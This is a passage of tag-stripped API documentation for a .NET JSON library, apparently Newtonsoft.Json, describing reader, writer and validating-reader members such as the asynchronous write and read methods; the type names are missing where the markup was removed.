a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute 